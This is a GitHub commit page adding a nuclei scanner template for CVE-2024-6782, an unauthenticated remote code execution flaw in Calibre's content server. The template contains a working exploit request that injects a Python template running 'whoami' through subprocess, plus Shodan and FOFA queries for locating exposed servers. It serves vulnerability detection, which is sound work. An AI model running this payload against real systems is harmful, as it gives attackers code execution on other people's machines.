Skip to content

Commit

Permalink
Merge pull request #10436 from projectdiscovery/CVE-2024-6782
Browse files Browse the repository at this point in the history
Create CVE-2024-6782.yaml
  • Loading branch information
pussycat0x authored Aug 6, 2024
2 parents 3fd86d3 + b5fd9a9 commit 83982c7
Showing 1 changed file with 61 additions and 0 deletions.
61 changes: 61 additions & 0 deletions http/cves/2024/CVE-2024-6782.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
id: CVE-2024-6782

info:
name: Calibre <= 7.14.0 Remote Code Execution
author: DhiyaneshDK
severity: critical
description: |
Unauthenticated remote code execution via Calibre’s content server in Calibre <= 7.14.0.
reference:
- https://starlabs.sg/advisories/24/24-6781/
metadata:
verified: true
shodan-query: html:"Calibre"
fofa-query: "Server: calibre"
max-requeset: 1
tags: cve,cve2024,calibre,rce

http:
- raw:
- |
GET /interface-data/books-init HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
extractors:
- type: json
name: book_ids
internal: true
json:
- '.search_result.book_ids[0]'

- raw:
- |
POST /cdb/cmd/list HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
[
["template"],
"",
"",
"",
{{book_ids}},
"python:def evaluate(a, b):\n import subprocess\n try:\n return subprocess.check_output(['cmd.exe', '/c', 'whoami'])\n except Exception:\n return subprocess.check_output(['sh', '-c', 'whoami'])\n"
]
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "b'([^']+)"

- type: word
part: content_type
words:
- "application/json"

- type: status
status:
- 200

0 comments on commit 83982c7

Please sign in to comment.